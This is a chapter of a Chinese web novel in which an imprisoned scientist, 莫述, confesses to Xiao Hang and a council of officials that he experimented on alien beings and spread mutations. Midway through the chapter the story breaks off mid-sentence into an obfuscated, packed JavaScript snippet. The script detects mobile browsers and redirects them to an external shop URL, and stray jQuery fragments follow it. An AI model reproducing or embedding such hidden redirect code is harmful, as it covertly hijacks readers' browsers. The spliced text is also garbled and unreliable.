文趣网 > 其他小说 > 与敌共生 > 50. 风兼雨前路不堪行 2
    因前段时间备受关注,莫述的病房换到总署外部一家疗养院。曝光事件一出,巡卫和警卫迅速增派人手,严加控制。萧航在走廊给夏迩去电话,让她看紧莫安远,不要关注网络上的任何消息。

    莫述醒了,再密不透风的墙,也会有无形的线飘出去,舆论必定难看。莫安远的性子,可没有萧航想得开。

    夏迩不咸不淡地应了,告诉萧航,他状态确实很差,连着几日没怎么合眼,嘲笑道:“真够脆弱的,这点小事也至于痛不欲生。”

    萧航不喜欢她尖酸刻薄的口气,教育了一番。每个人脆弱的临界点不同,承受压力的限度也不同,让她收起漠不关己的态度。

    挂断电话不放心,夏迩毕竟是异种,地球上的很多情感她尚不能理解。又让双子星门值班的祁知白过去,最好没收莫安远身边的一切网络设备,电视也不要开。

    忙完这些,萧航一下子被抽空思绪,兀自望着白色的门框发起呆。小臂被人碰了下,洛明烛似乎将什么递了过来,他侧头一看,胃里就翻。

    洛明烛:“伯母托祁知白带来的,尝尝?”

    萧航瞪着浓稠如池中泥藻般的果蔬汁,愕然道:“你想害我?”

    洛明烛笑,自身后拿出一块蛋糕,“那就吃这个。”

    心里发苦,确实需要些甜味冲冲,手抬起来,洛明烛细心地拆开包装,才放在他手心。将上面的草莓吃完,萧航就吃不下了,还给洛明烛,“回来吃,我先进去了。”

    “前辈,”洛明烛叫住他,“不管真相如何,都不是伯父的本意。”

    萧航将手紧握成拳,抓住一缕空气。缓缓的,又松开,也不知谁安慰谁,“放心,我没事。”

    敲门,鸥沐音打开,向他招手。萧航刚迈进去,就听到韩飞擎一声怒吼:“真想挖开你的心,看看是不是黑的!”

    莫述半靠在床头,毫不在意的,自鼻腔中嗤笑一声。他比萧航记忆中老了不少,眼珠昏黄,法令纹很深,远不如小时候见到那般神采奕奕。

    “哈哈哈他还笑呢。”波什毫不客气地占了把椅子,倒坐着,双臂自然下垂,一副吊儿郎当样,对韩飞擎道:“我觉得莫博士挺实在,敢做敢当!你们不能光盯着不好的事情想啊。”

    韩飞擎张口便骂,“这他.妈有好事吗?波什我去你爹的,什么时候了,有点正形儿!”

    波什手背冲着他,摆了摆,“左一个我爹,又一口我娘,你还想下去找他们不成?”

    韩飞擎也意识到口不择言,眼神空白一秒,将上下嘴唇抿紧,喘着粗气,不再多言。

    洛正阳视线扫过来,不紧不慢地对萧航道:“你来了。”

    波什歪头,用下巴点点病床的方向:“这位一醒就念着找你呢。”

    萧航走上前去,莫述对其他人道:“让我单独跟他说两句?”

    韩飞擎第一个不同意,“单独什么单独,有事当着所有人说。看在为总署奉献近五十多年的份上,没第一时间将你羁押入狱已是最大的宽限,不要得寸进尺!”

    没听到威胁似的,莫述淡淡道:“该跟你们坦白的,我都说完了,只想跟萧航说些掏心掏肺的话。”

    “那不成。”韩飞擎皱眉,语气严厉,“光说与你相关的有什么用,我们单单来定罪吗?细节呢,解决办法呢,打什么马虎眼?”他暴跳如雷的狰狞面目,若不是身体不便,肯定会站起来给莫述一脚。

    莫述摇摇头:“没有解决方法,不然也不会想方设法指引他,寻找萧默怀的试验资料。”

    波什饶有兴趣地看着莫述,嘿嘿一笑,“老莫啊,这祸闹得太大,不是你能提要求的时候。我们五个一起来,也是为了互相监督、互作证人。审了你,还得给公众个交代,别墨迹了,好吧?”

    一个唱白脸,一个唱红脸。莫述见单独交谈无望,便也不勉强。缓缓抬起头,戏谑地扬起嘴角,脸上沟壑更深,他对萧航道:“萧默怀是个懦夫。”

    没想到父亲会得到如此评价,萧航一愣。

    系统里的一张张照片,信中字里行间溢出的煎熬,无不涌进他脑海,带着滔天的愤怒。一激动,声调不自觉地升高,“他是懦夫,你就是屠夫。”

    莫述:“我跟踪他,好不容易查到潘多拉时,项目已颇有成效。多好的试验品,切割、萃取、注射,它们会痛、会恐惧、会挣扎。我忍着恶心跟他搞好关系,瞧准时机提出要加入,他竟说这是一种错误、一种天谴,合该由他独自承担,不是懦夫是什么?多么伟大的项目,在绝望中诞生的,试图以理性驯服未知的莽撞尝试。”

    “看看我现在,”莫述用手掌拍拍心脏的位置,目光从耷拉着的眼皮射出来,带着些许兴奋,“太神奇了!苏醒时,我自己都不敢相信!那个异种在哪?她是绝佳的试验品,真该切开她看看,是怎样的艺术——”

    这些荒唐话相当刺耳,萧航难以自持地打断道:“夏迩救了你!”

    “激动什么。”莫述不耐地道:“在无人知晓的角落,这种事情早已悄然运转多年。异种入侵,人类几近溃败,萧默怀承载着苟延残喘的希望。当初难道不是约定俗成的吗?”

    晦暗的灯光将病房照的好似深不见底的泥潭,跳动的灰尘如同见不得光的沙砾。

    病房中鸦雀无声,各有所思。

    波什嗤笑打破僵局,“文化人说话,就是不一样。”

    鸥沐音很不满意他在萧航面前提起这些,气愤地问:“现在说这些有什么意思。”

    莫述笑了:“只要解析异种的基因密码,就能为人类筑起无法被攻破的城墙。当初你们若选择我,潘多拉计划早就成功了。我差在哪了,你们偏要托举一个懦夫?”

    他只牵动了一侧嘴角,另一边仍向下耷拉着,如同戏台上牵引的木偶。

    “别说了。”萧航感觉身体在发抖,用力咬住下嘴唇,须臾,一丝血腥跳到舌尖,他冷静下来,“爆炸的真相是什么?”

    莫述淡然:“我不知道。”

    “……”理性和感性在胸腔中碰撞,萧航毕竟是成熟的,于是他忍住了,只化作一句质问:“……你不知道?你凭什么不知道?!”

    鸥沐音拉住萧航的一只手臂,看向莫述:“再刺激他,我现在就让人把你拖进监狱。”

    “鸥议长啊,”莫述不以为然,“我都说了让我们单独谈,你们不乐意。”

    鸥沐音昂起头,居高临下地道:“就这里,在我们所有人面前说清楚。”

    莫述:“从萧默怀手中偷出来的裂变残质,直至最近几年才有成效,没人问我为什么吗?还有,我的死不是因为异乱,而是有人想灭口。”

    众人神色一顿,洛正阳重复道:“灭口?”

    莫述却不急,对着波什抬手,“劳驾,帮我倒杯水,说得口干舌燥。”

    韩飞擎气火攻心:“你?!”

    波什哈哈一笑,没同他一般见识,人字拖使劲往前一蹬,把椅子滑到桌子旁,倒了杯水,又滑到床头,递给莫述。

    “多谢。”莫述接过水杯,看着是真渴,咕咚咕咚喝去半杯,续道:“几年前,有人联系我,愿意提供潘多拉系统的使用权。但那些账号中,只有萧默怀零星发来的实验结果。不过我真是天才,仅凭几个片段,就制造出可以在生物身上异变的基因链。”

    他遗憾地摇头,“看看,不识货的混账们,偏偏选择萧默怀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829153|211294||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    “莫述,你没资格和萧博士相提并论。”洛正阳眯起眼,如鹰隼般盯着他,“联系你的是谁?”

    莫述左手握着水杯,右手一摊:“我怎么知道。异乱那日,我正回实验室拿东西,就被藏在资料中的针孔刺到指尖。”

    洛正阳不在意他怎么死的,“将你手中的账号交出来,自能排查到。”

    莫述:“我手上有十多个账号,怎么证明他们都参与了?不顾各国首脑的脸面,将潘多拉展示在公众面前?”他挑起眉,额头三道皱纹愈加深刻,“如果可以这样,萧默怀就不会背上实验操作失误,导致数百人身亡的惨案。”

    洛正阳缄默,莫述看向萧航,“你进去潘多拉系统了?”

    听着他们交谈,萧航有些胸口发闷,他连着深呼吸数次,“所以,你因为无法再研究下去而联系我,让我找到父亲的实验数据。”一顿,他问:“你觉得,你比我父亲更适合潘多拉计划?”

    “自然。”莫述道。

    纪秋玉一直站在窗户边,背对着众人看风景。她本是来凑数的,听到此番大言不惭的言论,忍不住嘲讽地斜他一眼,“你倒有趣,一边研究异种一边提议共和,精神分裂吧?”

    莫述:“懂什么,时代在进步,人类要进化。异种是害虫也是养料。”

    他缓慢眨眼,看她的视线中带着同情。

    纪秋玉没多想,只当这人脑子有病,阴阳怪气地顶了一句:“原来打着这等算盘,共和学院若是建起来,只怕会常常发生异种失踪案了。”转过头,继续瞧她的风景,一副事不关己高高挂起的模样。

    莫述:“既然暴露,也没什么狡辩的。背后帮我的人,我一无所知,知道也不会说。虽然他想灭我的口,但我不恨他,因为他识货、有抱负,是个值得深交的朋友。”

    他将剩下的半杯水小口小口饮尽,慢条斯理地对萧航道:“我被收监之后,需要你帮个忙。”

    神色间毫无悔过之意,甚至带了点理所当然。霎时间,一股怒意往上爬,恨不能顺着萧航的脊梁骨扇在莫述脸上。

    父亲他,无时无刻不在自责,无时无刻不在痛苦,而有的人,轻易将它们踩在脚下,当作勋章。

    萧航怒不可遏:“我真后悔让夏迩救你!”说着,扑上去,五指掐住莫述的脖颈,“你知不知道多少人死在你手上!多少地方因异乱变成废墟?你怎么能如此平静!”

    莫述瞳孔收缩,像捕食到猎物的猫科动物,兴奋地道:“萧默怀跟我说‘潘多拉是毁灭、是牺牲’,他错了,毁灭即是拯救,必要的牺牲,是为了更大的成就。”

    肯定是他害了父亲!又间接让母亲变成异种!萧航隐忍着,抑制崩溃的情绪冲垮摇摇欲坠的限度。

    一只手伸过来,攫住他的手腕,波什道:“小伙子,别做傻事。”

    鸥沐音走上去,把萧航拉到怀中,问莫述:“你要让萧航做什么?”

    松垮的颈部被揉出几道褶皱,莫述不以为意,将空了的水杯随手扔在床上。他道:“大部分潘多拉在爆炸中被毁,但我抢救出的一批残质放在了北部地区,同样需要萧默怀的密码。”

    “北部?”纪秋玉倏地转过身,尖锐地问:“你把这么危险的东西放在我们北部?”

    忽然,她面容空白一瞬,逐渐被咬牙切齿的怒气覆盖,“他.妈的,难道说,北部几年前出现的异种与你有关?”

    莫述:“当时试验初有成效,我担心被人发觉,就将部分实验体,连同锁住的一起运到北部去了。谁让你两次三番反对共和。没有斯塔威克的资源,北部险些没保住吧。”

    “……”

    “草你祖宗的莫述!”